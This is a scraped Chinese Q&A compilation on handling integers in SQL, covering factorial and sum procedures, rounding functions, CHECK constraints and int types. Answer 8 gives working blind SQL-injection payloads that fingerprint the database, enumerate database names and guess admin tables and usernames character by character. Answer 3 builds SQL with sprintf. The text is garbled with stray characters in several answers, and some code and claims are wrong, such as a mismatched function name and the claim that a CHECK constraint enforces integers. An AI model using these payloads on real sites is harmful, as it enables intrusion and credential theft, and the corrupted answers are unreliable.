‘壹’ 数据库技术与应用—sql Seerver问题:编写用户定义函数,输入正整数,返回该正整数的阶乘值!
这个网上有很多例子么~~要善于利用google和么~~ 呵呵
在库中建立一个函数,代码为:
set ANSI_NULLS ON
set QUOTED_IDENTIFIER ON
go
-- 计算输入参数的阶乘
CREATE FUNCTION [dbo].[Factorial](@num INT)
RETURNS BIGINT
AS
BEGIN
DECLARE @Result BIGINT;
DECLARE @i INT;
SELECT @Result = 1;
SELECT @i = 1;
IF (@num < 1)
BEGIN
-- 如果输入的参数小于1返回1
SELECT @Result = 1
END
ELSE
BEGIN
-- 循环计算阶乘
WHILE (@i <= @num)
BEGIN
SELECT @Result = @Result * @i;
SELECT @i = @i + 1;
END
END
-- 返回结果
RETURN @Result;
END
假设有表test01,列MyInt,类型为Int,值为4,执行查询:
select dbo.fact(MyInt) from test01
则查询结果为 24
1*2*3*4=24
‘贰’ sql中取整语句怎么写
1.绝对值
SQL:select abs(-1) value
O:select abs(-1) value from al
2.取整(大)
S:select ceiling(-1.001) value
O:select ceil(-1.001) value from al
3.取整(小)
S:select floor(-1.001) value
O:select floor(-1.001) value from al
4.取整(截取)
S:select cast(-1.002 as int) value
O:select trunc(-1.002) value from al
5.四舍五入
S:select round(1.23456,4) value 1.23460
O:select round(1.23456,4) value from al 1.2346
‘叁’ c语言下,怎样往sql语句中插入整型变量 通过c语言,写accsess数据库
int carc = 1000; /* 随便等于一个值 */
sprintf (sql, "update car set carcount=%d where id=1", carc);不过你是c++,如果是string类型肆改,直接字符串判雹磨加,做成流掘斗,方法太多了
‘肆’ SQL语句 输入三个数值,判断这三个整数值是否能组成三角形。
大概的原理是这样的,判断三个整数芹物值是否能组成三角形,需满足三边(a+b)>cand(a+c)>band(b+c)>a,而判断直角,用a&嫌没液#178;+b²=c²,如果a²+b²<c²,是锐角,如果a²+b²>c²是钝角。面积和周长都有相应的公式,很容易求的。如果用存储过程做,首先要把输入的三个数按从小到大重新排察衡序,再复制给abc,在写语句判断。
‘伍’ sqlserver怎么设置约束条件为整数
在 SQL Server 中,可以通过设置数据表字段的约束条件来限制某些值的类型。
要设置约束条件为整数,可以使用 CHECK 约束。具体步骤如下:
1. 打开 SQL Server Management Studio 工具,连接到目标数据库。
2. 在“对象资源管理器”中找到需要设置约束的表,右键点击该表并选择“设计”。
3. 在表设计界面中,选择需要设置约束的字段,在属性面板中找到昌袭“约束”选正尘项。
4. 点击“约束”选项后,会弹出约束面板,选择“Check 约束”选举迅禅项。
5. 在“Check 约束”选项中,可以输入约束条件,比如“字段名 >= 0”,表示该字段只能存储大于或等于 0 的整数。
6. 输入完约束条件后,点击“确定”保存设置。
现在该字段就被设置为仅能存储整数值。当向该字段插入非整数值时,系统会拒绝该操作并返回错误信息。
‘陆’ SQL里的int类型
1、int、bigint、smallint 和 tinyint是使用整数数据的精确数字数据类型。
2、主要类型、范围、存储体如下:
1)bigint:从 -2^63 (-9223372036854775808) 到 2^63-1 (9223372036854775807) 的整型数据,存储 8 个字节。
2)int:从 -2^31 (-2,147,483,648) 到 2^31 - 1 (2,147,483,647) 的整型数据。存储 4 个字节
3)smallint:从 -2^15 (-32,768) 到 2^15 - 1 (32,767) 的整型数据,存储2 个字节。
4)tinyint:从 0 到 255 的整型数据,存储 1 字节。
(6)sql整数输入扩展阅读:
1、int的定义:int是一种数据类型,在编程语言(C、C++、C#、Java等)中,它是用于定义整数类型变量的标识符。
2、int的概述:int的存在很广泛,在目前在一般的家用电脑中,int占用4字节,32比特,数据范围为-2147483648~2147483647[-2^31~2^31-1],在微型机中,int占用2字节,16比特,数据范围为-32768~32767[-2^15~2^15-1]。使用printf输出int占用字节数量:printf("%d",sizeof(int)); 除了int类型之外,还有short、long、long long类型可以表示整数。unsigned int 表示无符号整数,数据范围为[0~2^32-1],unsigned int 表示无符号整数,数据范围为[0~2^32-1]。
‘柒’ SQL Server限制输入值的取值范围的是什么
SQL Server限制输入值的取值范围的是用户自己定义的。
CHECK 约束用于限制列中的值的范围。
如果对单个列定义 CHECK 约束,那么该列只允许特定的值。
如果对一个表定义 CHECK 约束,那么此约束会在特定的列中对值进行限制。
撤销 CHECK 约束
如需撤销 CHECK 约束,请使用下面的 SQL:
SQL Server / Oracle / MS Access:
ALTER TABLE Persons
DROP CONSTRAINT chk_Person
MySQL:
ALTER TABLE Persons
DROP CHECK chk_Person
(7)sql整数输入扩展阅读
check主要用于限定字段值的范围
常见用法举例:
1、重量需大于0,并且小于等于100
WEIGHT NUMERIC(9,2) CHECK(WEIGHT>0 AND WEIGHT<=100
2、性别取‘男’或者‘女’
SSEX CHAR(2) CHECK(SSEX='male' OR SSEX='female')
3、年龄取15-45
SAGE SMALLINT CHECK(SAGE>=15 AND SAGE<=45)
4、学分大于0
SEMSTER SMALLINT CHECK(SEMSTER>0)
‘捌’ SQL注入中整型参数和字符串型参数是什么 有什么区别吗
我帮你解释以下吧,我只比较了解数字型的。
2、如果存在注入漏洞 and 后面是1=1,1=1是逻辑值真,所以所以网页返回正常,与原来的网页相同。
3、and后面是1=2是逻辑值假,整个语句就是假,所以返回异常的页面。
判断出存在注入漏洞后,就可以构造SQL语句猜解了。
SQL数据库可以运用一种叫做爆字段的方法,而ACCESS的就得一个字符一个字符的猜解了。
首先判断数据库类型
URL and (select count(*) from sysobjects)>0;--返回正常sql server
URL and (select count(*) from msysobjects)>0;--返回正常Access
SQL数据库爆的方法:
URL and 0<(select count(*) from master.dbo.sysdatabases);--折半法得到数据库个数
URL and 0<(select count(*) from master.dbo.sysdatabases where name>1 and dbid=1);--爆出库名
--依次提交 dbid = 2.3.4... 得到更多的数据库名
爆字段如果你懂得SQL语言的话应该能够触类旁通的。
ACCESS猜解:
URL and exists (select * from admin);--猜解admin表名
URL and exists (select username from admin) ;--猜解username字段
URL and exists (select id from admin where len(username)=5)猜解username长度。
猜出长度后再一位一位的猜字符。
URL and exists (select id from admin where asc(mid(username,1,1))=97 and ID=1)
‘玖’ sql 编程 如果要求你输入一个整数n,求1+2+3+..+n,如何求解
CREATE PROC pro_sum
@n int
AS
DECLARE @sum int,@i int
SET @sum=0
SET @i=1
WHILE(@i<=@n)
BEGIN
SET @sum=@sum+@i
SET @i=@i+1
END
print'1+2+3+...+n='+convert(nvarchar(1000),@sum)
EXEC pro_sum 100
‘拾’ sql sever编写存储过程实现输入两个整数,计算并输出他们的和差积商
和
CREATE PROCEDURE HeP
@p1 int,
@p2 int
AS
BEGIN
select @p1+@p2
END
差
CREATE PROCEDURE ChaP
@p1 int,
@p2 int
AS
BEGIN
select @p1-@p2
END
乘
CREATE PROCEDURE ChengP
@p1 int,
@p2 int
AS
BEGIN
select @p1*@p2
END
除
CREATE PROCEDURE chuP
@p1 float,
@p2 float
AS
BEGIN
select @p1/@p2
END